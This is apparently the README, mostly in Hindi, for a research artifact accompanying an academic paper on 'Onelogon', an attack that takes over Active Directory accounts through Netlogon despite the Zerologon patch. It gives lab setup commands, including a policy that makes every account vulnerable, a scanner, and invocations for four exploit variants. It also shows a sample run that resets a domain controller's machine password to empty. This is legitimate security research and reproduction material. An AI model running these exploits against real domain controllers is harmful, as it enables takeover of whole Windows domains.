
Code and data for our paper "Onelogon: Taking over Active Directory Accounts via Netlogon" (WOOT’26).
इस रिपॉजिटरी में हमारे शोधपत्र Onelogon: Netlogon के माध्यम से Active Directory खातों को हाइजैक करना (WOOT'26) से संबंधित कोड और डेटा शामिल है।
हमारे शोधपत्र में वर्णित भेद्यता Zerologon भेद्यता के 2020 क्रिप्टोग्राफिक पैच में एक कमजोरी पर हमला करती है। उन खातों पर यह हमला संभव है जो एक समूह नीति में सूचीबद्ध हैं, जिसका उद्देश्य उन पुराने सेटअपों के लिए समर्थन देना है जो Netlogon साइनिंग और सीलिंग का समर्थन नहीं करते। भेद्यता, संपूर्ण अपेक्षित हमला श्रृंखला और संभावित शमन उपायों का विस्तृत विवरण शोधपत्र में पाया जा सकता है।
@inproceedings{woot2026-onelogon,
title = {{Onelogon: Taking over Active Directory Accounts via Netlogon}},
author = {Neff, Alexander and Holl, Tobias and Borgolte, Kevin},
booktitle = {Proceedings of the 20th USENIX WOOT Conference on Offensive Technologies},
date = {2026-08},
editor = {Bianchi, Antonio and Classen, Jiska},
location = {Baltimore, MD, USA},
publisher = {USENIX Association}
}
इस आर्टिफैक्ट में स्कैनर और एक्सप्लॉइट्स के लिए एक Python poetry प्रोजेक्ट शामिल है।
आर्टिफैक्ट के साथ दी गई स्क्रिप्ट चलाने के लिए Python (3.12 या उससे नया) और poetry (निर्देश) या uv (निर्देश) स्थापित करें। सरलता के लिए, हम कमांड यह मानकर सूचीबद्ध कर रहे हैं कि आप poetry उपयोग कर रहे हैं; यदि आप uv चुनते हैं, तो poetry के किसी भी उल्लेख को uv से बदल दें।
इस दस्तावेज़ में दिए गए सभी कमांड आर्टिफैक्ट की मूल निर्देशिका में चलाए जाने चाहिए (जहाँ यह README है)।
यदि poetry उपयोग कर रहे हैं, तो सभी निर्भरताएँ स्थापित करने के लिए poetry install चलाएँ।
शोधपत्र के परिणामों को पुनरुत्पादित करने के लिए, आप Zerologon-सुधारित Windows Server संस्करण का उपयोग करके एक Domain Controller स्थापित कर सकते हैं (हमने 2019 और 2025 दोनों संस्करणों के विरुद्ध एक्सप्लॉइट सत्यापित किया है)।
Windows Server 2025 की नई स्थापना पर Domain Controller स्थापित करने के लिए, निम्न कमांड चलाएँ:
# Update system and rename computer to "DC"
Install-Module -Name PSWindowsUpdate -Force
Install-WindowsUpdate -MicrosoftUpdate -AcceptAll
Rename-Computer -NewName "DC" -Restart
# Set up the domain (as "onelogon.local")
Install-WindowsFeature AD-Domain-Services -IncludeManagementTools
Install-ADDSForest -DomainName "onelogon.local"
# Disable Administrator password expiry to keep the VM usable
Set-ADUser -Identity "Administrator" -PasswordNeverExpires $true
यह भेद्यता Domain Controller: Allow vulnerable Netlogon secure channel connections समूह नीति ऑब्जेक्ट या संबंधित रजिस्ट्री कुंजी में DACL में सूचीबद्ध किसी भी खाते पर लागू होती है:
HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\VulnerableChannelAllowList
आप Domain Controller पर इन मापदंडों को मैन्युअल रूप से कॉन्फ़िगर कर सकते हैं (यदि आप GPO प्रविष्टि अपडेट करते हैं तो gpupdate /force चलाना याद रखें), या रजिस्ट्री कुंजी में DACL में सभी खातों को जोड़ने के लिए निम्न कमांड चलाएँ:
Set-GPRegistryValue -Name "Default Domain Controllers Policy" `
-Key "HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters" `
-ValueName "VulnerableChannelAllowList" `
-Type String `
-Value "O:BAG:BAD:(A;;RC;;;WD)" # Everyone
यह निर्धारित करने के लिए कि Domain Controller अपनी VulnerableChannelAllowList में कौन से खाते सूचीबद्ध करता है, हम एक स्कैनर प्रदान करते हैं जो Domain Controller के रजिस्ट्री हाइव और GPO वॉल्यूम शेयर को पार्स करता है।
ध्यान दें कि इस स्कैन के लिए रजिस्ट्री तक पहुँचने हेतु Domain Administrator विशेषाधिकारों की आवश्यकता होती है (एक्सप्लॉइट के लिए, निश्चित रूप से, इनकी आवश्यकता नहीं है)।
# Use the specified username and password to scan the target DC.
poetry run scan --dc-ip <IP of target DC> --username <username> --password <password>
# Specify `--help` to get additional usage instructions.
poetry run scan --help
एक सकारात्मक स्कैन परिणाम (Domain Controller पर असुरक्षित खाते हैं) सुरक्षा विवरणक को दर्शाएगा जिसमें असुरक्षित खाते शामिल हैं (Microsoft की Security Descriptor Definition Language में):
~$ poetry run scan --dc-ip 192.168.108.244 -u Administrator -p Xb52RLIiL5k2BhMC
[+] Found 1 matching policies in SYSVOL Share.
[+] Found vulnerable channel allow list in policy '{6AC1786C-016F-11D2-945F-00C04fB984F9}':
'O:BAG:BAD:(A;;RC;;;BA)(A;;RC;;;S-1-5-21-1725695585-1077004420-3792776154-1000)'
[+] Found VulnerableChannelAllowList registry configuration:
O:BAG:BAD:(A;;RC;;;BA)(A;;RC;;;S-1-5-21-1725695585-1077004420-3792776154-1000)
एक नकारात्मक परिणाम (लक्ष्य DC असुरक्षित नहीं है) इसके बजाय इस प्रकार दिखेगा:
~$ poetry run scan --dc-ip 192.168.108.244 -u Administrator -p Xb52RLIiL5k2BhMC
[-] No matching policies found in SYSVOL Share.
[-] Error while querying registry: RRP SessionError: code: 0x2 - ERROR_FILE_NOT_FOUND
- The system cannot find the file specified.
किसी लक्षित Domain Controller के विरुद्ध proof-of-concept एक्सप्लॉइट चलाने के लिए, पहले एक असुरक्षित खाता चुनें। आपको Domain Controller का IP पता, उसका होस्ट नाम और असुरक्षित खाते का नाम चाहिए।
हमारे उदाहरण सेटअप में, असुरक्षित Domain Controller का नाम DC है।
इसका मशीन खाता (DC$) GPO नीति में शामिल है और इसलिए Onelogon के प्रति असुरक्षित है।
# Run the meet-in-the-middle attack (Section 4.5 of the paper)
poetry run onelogon --dc-ip <IP of target DC> --dc-name <Name of target DC> \
--username <Target account name>
# Run the 24-bit brute-force with a computer account (Section 4.4 of the paper)
poetry run onelogon --dc-ip <IP of target DC> --dc-name <Name of target DC> \
--username <Target account name> \
--comp-username <Computer account> --comp-pass <Computer account password>
# Run the (slow) 32-bit brute-force with a computer account
poetry run onelogon --naive --dc-ip <IP of target DC> --dc-name <Name of target DC> \
--username <Target account name> \
--comp-username <Computer account> --comp-pass <Computer account password>
# Run the (very slow) 32-bit brute-force without a computer account
poetry run onelogon --naive --dc-ip <IP of target DC> --dc-name <Name of target DC> \
--username <Target account name>
उदाहरण के तौर पर, हम परीक्षण वातावरण के विरुद्ध meet-in-the-middle हमले के एक सफल रन का आउटपुट प्रदान करते हैं:
~$ poetry run onelogon --dc-ip 192.168.108.244 --dc-name DC --username 'DC$'
[+] Namespace(dc_name='DC', dc_ip='192.168.108.244', username='DC$', comp_username=None,
comp_password=None, comp_hash=None, workers=100)
[+] Successfully bound to Netlogon RPC on DC (192.168.108.244)
[+] Successfully bound to Netlogon RPC on DC (192.168.108.244)
[+] Using flags: (0b100001000111111111111111111111)
1: A IGNORED (Account lockout)
1: B NT3.5 BDC continuous update
1: C RC4 support
1: D IGNORED (Promotion count(deprecated))
1: E Supports BDC handling Changelogs
1: F Supports Restarting full DC sync
1: G Does not require ValidationLevel 2 for nongeneric passthrough
1: H Supports DatabaseRedo
1: I Supports refusal of password changes
1: J Supports NetrLogonSendToSam
1: K Supports generic pass-through
1: L Supports concurrent RPC calls
1: M Supports avoid of user account database replication
1: N Supports avoid of Security Authority database replication
1: O Supports Strong keys
1: P Supports transitive trusts
1: Q IGNORED (Supports DNS trusts)
1: R Supports NetrServerPasswordSet2
1: S Supports NetrLogonGetDomainInfo
1: T Supports cross-forest trusts
1: U No NT4 Emulation
0: V Supports RODC pass-through
0: 0
0: 0
1: W Supports AES 128-bit CFB and SHA2
0: 0
0: 0
0: 0
0: 0
1: X IGNORED (Authenticated RPC via lsass supported)
0: Y Supports secure RPC authentication
0: Z Supports Kerberos for secure channel setup
[*] Estimated total tries without flushing: 2^16 / 2
[+] Starting the brute force attack...
[*] ROUND STATS:
[*] REQ: Took 5.0858272750047036 seconds,
average time per attempt: 0.00286042028965393909 seconds
[*] TRY: Took 120.00023781700293 seconds
[*] CLEANUP: Took 5.999754648655653e-08 seconds
[*] ALL: Took 125.08606619200145 seconds,
average time per attempt: 0.07035211821822354161 seconds
[*]
[*] TOTAL STATS:
[*] TOTAL: 0.10 hours passed, average time per attempt: 0.06760343967316766178 seconds
[*] TRIES: 5538, average tries per cycle: 1846
[*] Estimated progress: 16.90%, estimated time remaining: 0.51 hours
[+] !!!Successfully authenticated DC$ on DC with b'\x00\x00\x00\x00\x11\x11\x04x'!!!
[+] Password set successfully to empty string!
[+] Successfully set the password of DC$ to an empty string!
[+] All tasks have been processed, stopping workers.
[+] All workers have been stopped.
शोधपत्र की तालिका 1 में दिए गए मापों को पुनरुत्पादित करने के लिए, पिछले अनुभाग में वर्णित सभी चार एक्सप्लॉइट चलाएँ।
आप पूरा हमला पूर्ण किए बिना ही अपेक्षित हमले का समय प्राप्त कर सकते हैं, जो नैव (naive) दृष्टिकोणों के लिए अत्यधिक महंगा होगा।
टाइमआउट की प्रतीक्षा करने वाले 32-बिट brute-force की गति क्लाइंट चैलेंजेस की वैधता अवधि से सीमित होती है। एक पूर्ण चक्र (जिसमें 100k चैलेंज संसाधित किए जा सकते हैं) में 120 सेकंड लगते हैं (चैलेंज सूची साफ़ होने का टाइमआउट)। इसलिए, अपेक्षित हमले का समय हमेशा $\frac{2^{31}}{100000}\cdot 120\mathrm{s} \approx 29.83\mathrm{d}$ होता है।
उन हमलों के लिए जो कंप्यूटर खाते का उपयोग करते हैं (32-बिट और 24-बिट दोनों हमले), आउटपुट के TOTAL STATS अनुभाग से प्रति प्रयास औसत समय $t$ लें। 32-बिट हमले को औसतन $2^{31}$ प्रयासों की आवश्यकता होती है (कुल अपेक्षित समय $2^{31}t$ के लिए)। इसी प्रकार, 24-बिट हमले की अपेक्षित अवधि $2^{23}t$ है।
meet-in-the-middle दृष्टिकोण के लिए, हम 120 सेकंड की चैलेंज समाप्ति अवधि के भीतर सभी संभावित क्लाइंट क्रेडेंशियल्स आज़मा नहीं सकते।
इसके बजाय, हमले का अपेक्षित समय इस बात से निर्धारित होता है कि हम उस समय सीमा के भीतर कितने प्रमाणीकरण प्रयास कर सकते हैं।
यह आंकड़ा प्राप्त करने के लिए, आउटपुट के TOTAL STATS अनुभाग से प्रति चक्र औसत प्रयासों की संख्या $a$ लें।
चूँकि 50% सफलता दर प्राप्त करने के लिए हमें औसतन $2^{15}$ प्रमाणीकरण प्रयासों की आवश्यकता होती है, अपेक्षित हमले का समय केवल $2^{15} \cdot a^{-1} \cdot 120\mathrm{s}$ है।
प्राप्त सटीक समय सटीक हार्डवेयर और सॉफ़्टवेयर सेटअप पर निर्भर करेगा।